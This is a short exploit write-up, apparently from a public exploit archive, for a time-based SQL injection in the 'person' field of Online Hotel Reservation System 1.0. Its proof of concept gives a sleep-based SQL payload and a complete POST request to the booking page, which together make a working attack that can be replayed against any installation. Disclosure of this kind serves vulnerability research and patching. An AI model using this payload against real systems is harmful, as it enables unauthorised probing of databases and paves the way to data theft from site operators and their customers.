Online Hotel Reservation System 1.0 - 'person' time-based SQL Injection

# Exploit Title: Online Hotel Reservation System 1.0 - 'person' time-based SQL Injection
# Exploit Author: Mesut Cetin
# Date: 2021-01-15
# Vendor Homepage: https://www.sourcecodester.com/php/13492/online-hotel-reservation-system-phpmysqli.html
# Software Link: https://www.sourcecodester.com/download-code?nid=13492&title=Online+Hotel+Reservation+System+in+PHP%2FMySQLi+with+Source+Code
# Version: 1.0
# Tested on: Kali Linux 2020.4, PHP 7.4.13, mysqlnd 7.4.13, Apache/2.4.46 (Unix), OpenSSL/1.1.1h, mod_perl/2.0.11 Perl/v5.32.0

######## Description ########

The 'person' parameter is vulnerable to time-based SQL Injection. 


######## Proof of Concept #######

Payload: (select*from(select(sleep(10)))a)

Using Burp Suite, send the following POST request:

POST /marimar/index.php?p=booking HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 71
Origin: http://localhost
Connection: close
Referer: http://localhost/marimar/index.php?p=booking
Cookie: PHPSESSID=cf40af0022f401c8cfd0be17fc00a6cc
Upgrade-Insecure-Requests: 1

arrival=01%2F19%2F2021&departure=01%2F11%2F2021&person=(select*from(select(sleep(10)))a)&accomodation=0